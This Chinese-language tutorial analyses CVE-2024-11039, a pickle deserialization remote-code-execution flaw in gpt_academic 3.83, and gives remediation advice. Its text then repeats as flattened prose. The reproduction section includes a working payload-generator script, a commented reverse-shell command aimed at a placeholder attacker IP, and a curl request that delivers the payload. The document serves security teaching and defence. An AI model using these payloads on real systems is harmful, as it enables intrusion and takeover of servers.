某ai系统反序列化漏洞分析CVE-2024-11039
字数 2623 2025-11-05 23:45:18

CVE-2024-11039：gpt_academic 项目反序列化漏洞分析与复现教学

文档版本： 1.0
发布日期： 2024-11-04（基于漏洞分析文章发布日期）
目标读者： 安全研究人员、渗透测试人员、软件开发工程师

一、 漏洞概述

  1. 漏洞编号： CVE-2024-11039
  2. 漏洞名称： gpt_academic 项目不安全反序列化漏洞
  3. 影响组件： gpt_academic 开源项目，版本 3.83
  4. 漏洞类型： 反序列化漏洞
  5. 危害等级： 高危
  6. 最终危害： 远程代码执行
  7. CVSS 评分： 待官方评定（但根据危害，预计在 9.0 以上）

二、 受影响环境

  • 软件名称： gpt_academic
  • 项目地址： GitHub 上的 binary-husky/gpt_academic 项目（或类似仓库）
  • 受影响版本： 3.83 版本
  • 不受影响版本： 3.83 之后已修复的版本（具体版本号需参考官方修复记录）

三、 漏洞背景知识

1. 什么是 gpt_academic？

gpt_academic 是一个开源项目，旨在为 GPT、GLM 等大型语言模型提供实用化的交互接口。它特别优化了学术工作流，如论文阅读、润色和写作等体验，深受研究人员和学生欢迎。

2. 什么是反序列化漏洞？

  • 序列化： 将程序中的对象（Object）状态转换为可以存储或传输的格式（如字节流、JSON、XML）的过程。
  • 反序列化： 将序列化后的数据恢复为对象的过程。
  • 漏洞成因： 当应用程序对用户可控的、恶意的序列化数据（例如 Python 的 pickle 格式）进行反序列化时，如果未经过严格的安全检查，攻击者可以构造特定的数据，在反序列化过程中触发执行任意代码。

3. Python pickle 模块的危险性

Python 的 pickle 模块是实现序列化的常用工具，但其设计初衷并非安全。pickle 在反序列化时会自动寻找并执行序列化数据中指定的类及其 __reduce__ 方法。攻击者可以精心构造一个包含恶意指令的 __reduce__ 方法的类，序列化后发送给目标，当目标使用 pickle.loads() 反序列化该数据时，恶意代码就会被执行。

四、 漏洞详细分析

1. 漏洞位置

根据文章描述，漏洞出现在 gpt_academic 项目的某个功能模块中，该模块接收用户输入并进行反序列化操作。具体代码路径可能在处理插件配置、会话数据或缓存数据的部分。

2. 漏洞成因

在 3.83 版本中，开发者对用户提交的序列化数据过滤不严。具体表现为：

  • 直接使用了 pickle.loads() 或类似的不安全反序列化函数。
  • 对反序列化操作的输入源（如网络请求、文件上传、Cookie 等）没有进行有效的验证、签名或加密，导致攻击者可以注入恶意的序列化载荷（Payload）。

3. 攻击流程

  1. 信息收集： 攻击者识别目标系统运行的是存在漏洞的 gpt_academic v3.83。
  2. 构造载荷： 攻击者使用 Python 编写一个包含恶意命令（如反弹 Shell、下载执行木马等）的类，并将其序列化为 pickle 格式。
  3. 发送载荷： 攻击者通过 HTTP 请求（例如 POST 或 GET 请求）将恶意序列化数据发送到目标服务器的漏洞触发点。
  4. 触发漏洞： 服务器端应用程序接收到数据后，未经验证便直接进行反序列化。
  5. 代码执行： 在反序列化过程中，恶意的 __reduce__ 方法被自动调用，导致攻击者预设的任意命令在服务器上以 Web 服务权限执行。

五、 漏洞复现（仅供教学研究使用）

环境准备：

  • 攻击机：Kali Linux 或任意安装 Python 的机器。
  • 靶机：安装有 gpt_academic v3.83 的 Ubuntu/CentOS 服务器。

复现步骤：

步骤 1：确认漏洞点
假设漏洞触发点是一个接收 data 参数的 API 接口，例如 http://<target_ip>:port/update_config。

步骤 2：构造恶意 Pickle 载荷
在攻击机上，创建一个名为 exploit.py 的 Python 脚本，用于生成载荷。

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        # 恶意命令：在目标服务器上创建一个名为 pwn_success.txt 的文件作为证明
        # 实际攻击中可替换为任何命令，如：'/bin/bash -i >& /dev/tcp/your_ip/your_port 0>&1'
        cmd = 'touch /tmp/pwn_success.txt'
        return os.system, (cmd,)

if __name__ == '__main__':
    # 生成恶意的序列化对象
    malicious_object = RCE()
    # 将其序列化为 pickle 格式
    malicious_pickle = pickle.dumps(malicious_object)
    # 进行 Base64 编码，便于在 HTTP 请求中传输
    encoded_payload = base64.b64encode(malicious_pickle).decode()
    print("恶意 Payload (Base64):")
    print(encoded_payload)

运行此脚本：python3 exploit.py，控制台会输出一串 Base64 编码的字符串。

步骤 3：发送攻击载荷
使用 curl 或其他工具（如 Burp Suite）向目标发送请求。

curl -X POST http://<target_ip>:<port>/update_config \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "data=<这里替换为步骤2中生成的Base64字符串>"

步骤 4：验证攻击结果
登录到靶机，检查 /tmp 目录下是否生成了 pwn_success.txt 文件。

ls -la /tmp/pwn_success.txt

如果文件存在，则证明漏洞复现成功，任意命令执行已被实现。

六、 修复建议

  1. 官方修复方案：

    • 升级版本： 立即将 gpt_academic 项目升级到官方已修复的最新版本。
    • 代码审查： 检查官方修复 commit，通常是移除了不安全的 pickle.loads()，替换为更安全的序列化方案（如 json）。

  2. 临时缓解措施（如果无法立即升级）：

    • 避免反序列化不可信数据： 从根本上避免对用户输入进行反序列化。
    • 使用安全替代方案： 如果必须序列化/反序列化，使用 JSON 等仅处理数据而不执行代码的格式。
    • 实施严格输入验证： 如果万不得已必须使用 pickle，应对序列化数据进行数字签名（如 HMAC），确保数据在传输过程中未被篡改，且来源可信。
    • 沙箱环境： 在受限的沙箱环境中执行反序列化操作，以限制潜在破坏。

七、 总结与思考

CVE-2024-11039 是一个典型的不安全反序列化案例，它再次警示开发者：

  • 永远不要反序列化不可信的数据。 这是安全领域的黄金法则之一。
  • pickle 模块仅适用于可信环境。 在处理来自客户端、网络或任何外部来源的数据时，应坚决避免使用它。
  • 依赖项安全至关重要。 即使是优秀的开源项目也可能存在严重漏洞，需要持续关注其安全更新。

通过本教学文档，您应该能够深刻理解该漏洞的原理、危害及利用方式，并掌握如何在自己的项目中避免此类安全问题。

免责声明： 本文档仅用于安全教学和研究目的。请勿将文中所述技术用于任何非法活动。安全测试应在自己拥有或获得明确授权的环境中进行。

CVE-2024-11039：gpt_ academic 项目反序列化漏洞分析与复现教学 文档版本： 1.0 发布日期： 2024-11-04（基于漏洞分析文章发布日期） 目标读者： 安全研究人员、渗透测试人员、软件开发工程师 一、 漏洞概述 漏洞编号： CVE-2024-11039 漏洞名称： gpt_ academic 项目不安全反序列化漏洞 影响组件： gpt_academic 开源项目，版本 3.83 漏洞类型： 反序列化漏洞 危害等级： 高危 最终危害： 远程代码执行 CVSS 评分： 待官方评定（但根据危害，预计在 9.0 以上） 二、 受影响环境 软件名称： gpt_ academic 项目地址： GitHub 上的 binary-husky/gpt_academic 项目（或类似仓库） 受影响版本： 3.83 版本 不受影响版本： 3.83 之后已修复的版本（具体版本号需参考官方修复记录） 三、 漏洞背景知识 1. 什么是 gpt_ academic？ gpt_academic 是一个开源项目，旨在为 GPT、GLM 等大型语言模型提供实用化的交互接口。它特别优化了学术工作流，如论文阅读、润色和写作等体验，深受研究人员和学生欢迎。 2. 什么是反序列化漏洞？ 序列化： 将程序中的对象（Object）状态转换为可以存储或传输的格式（如字节流、JSON、XML）的过程。 反序列化： 将序列化后的数据恢复为对象的过程。 漏洞成因： 当应用程序对用户可控的、恶意的序列化数据（例如 Python 的 pickle 格式）进行反序列化时，如果未经过严格的安全检查，攻击者可以构造特定的数据，在反序列化过程中触发执行任意代码。 3. Python pickle 模块的危险性 Python 的 pickle 模块是实现序列化的常用工具，但其设计初衷并非安全。 pickle 在反序列化时会自动寻找并执行序列化数据中指定的类及其 __reduce__ 方法。攻击者可以精心构造一个包含恶意指令的 __reduce__ 方法的类，序列化后发送给目标，当目标使用 pickle.loads() 反序列化该数据时，恶意代码就会被执行。 四、 漏洞详细分析 1. 漏洞位置 根据文章描述，漏洞出现在 gpt_ academic 项目的某个功能模块中，该模块接收用户输入并进行反序列化操作。具体代码路径可能在处理插件配置、会话数据或缓存数据的部分。 2. 漏洞成因 在 3.83 版本中，开发者对用户提交的序列化数据 过滤不严 。具体表现为： 直接使用了 pickle.loads() 或类似的不安全反序列化函数。 对反序列化操作的输入源（如网络请求、文件上传、Cookie 等）没有进行有效的验证、签名或加密，导致攻击者可以注入恶意的序列化载荷（Payload）。 3. 攻击流程 信息收集： 攻击者识别目标系统运行的是存在漏洞的 gpt_ academic v3.83。 构造载荷： 攻击者使用 Python 编写一个包含恶意命令（如反弹 Shell、下载执行木马等）的类，并将其序列化为 pickle 格式。 发送载荷： 攻击者通过 HTTP 请求（例如 POST 或 GET 请求）将恶意序列化数据发送到目标服务器的漏洞触发点。 触发漏洞： 服务器端应用程序接收到数据后，未经验证便直接进行反序列化。 代码执行： 在反序列化过程中，恶意的 __reduce__ 方法被自动调用，导致攻击者预设的任意命令在服务器上以 Web 服务权限执行。 五、 漏洞复现（仅供教学研究使用） 环境准备： 攻击机：Kali Linux 或任意安装 Python 的机器。 靶机：安装有 gpt_ academic v3.83 的 Ubuntu/CentOS 服务器。 复现步骤： 步骤 1：确认漏洞点 假设漏洞触发点是一个接收 data 参数的 API 接口，例如 http://<target_ip>:port/update_config 。 步骤 2：构造恶意 Pickle 载荷 在攻击机上，创建一个名为 exploit.py 的 Python 脚本，用于生成载荷。 运行此脚本： python3 exploit.py ，控制台会输出一串 Base64 编码的字符串。 步骤 3：发送攻击载荷 使用 curl 或其他工具（如 Burp Suite）向目标发送请求。 步骤 4：验证攻击结果 登录到靶机，检查 /tmp 目录下是否生成了 pwn_success.txt 文件。 如果文件存在，则证明漏洞复现成功，任意命令执行已被实现。 六、 修复建议 官方修复方案： 升级版本： 立即将 gpt_ academic 项目升级到官方已修复的最新版本。 代码审查： 检查官方修复 commit，通常是移除了不安全的 pickle.loads() ，替换为更安全的序列化方案（如 json ）。 临时缓解措施（如果无法立即升级）： 避免反序列化不可信数据： 从根本上避免对用户输入进行反序列化。 使用安全替代方案： 如果必须序列化/反序列化，使用 JSON 等仅处理数据而不执行代码的格式。 实施严格输入验证： 如果万不得已必须使用 pickle ，应对序列化数据进行数字签名（如 HMAC），确保数据在传输过程中未被篡改，且来源可信。 沙箱环境： 在受限的沙箱环境中执行反序列化操作，以限制潜在破坏。 七、 总结与思考 CVE-2024-11039 是一个典型的不安全反序列化案例，它再次警示开发者： 永远不要反序列化不可信的数据。 这是安全领域的黄金法则之一。 pickle 模块仅适用于可信环境。 在处理来自客户端、网络或任何外部来源的数据时，应坚决避免使用它。 依赖项安全至关重要。 即使是优秀的开源项目也可能存在严重漏洞，需要持续关注其安全更新。 通过本教学文档，您应该能够深刻理解该漏洞的原理、危害及利用方式，并掌握如何在自己的项目中避免此类安全问题。 免责声明： 本文档仅用于安全教学和研究目的。请勿将文中所述技术用于任何非法活动。安全测试应在自己拥有或获得明确授权的环境中进行。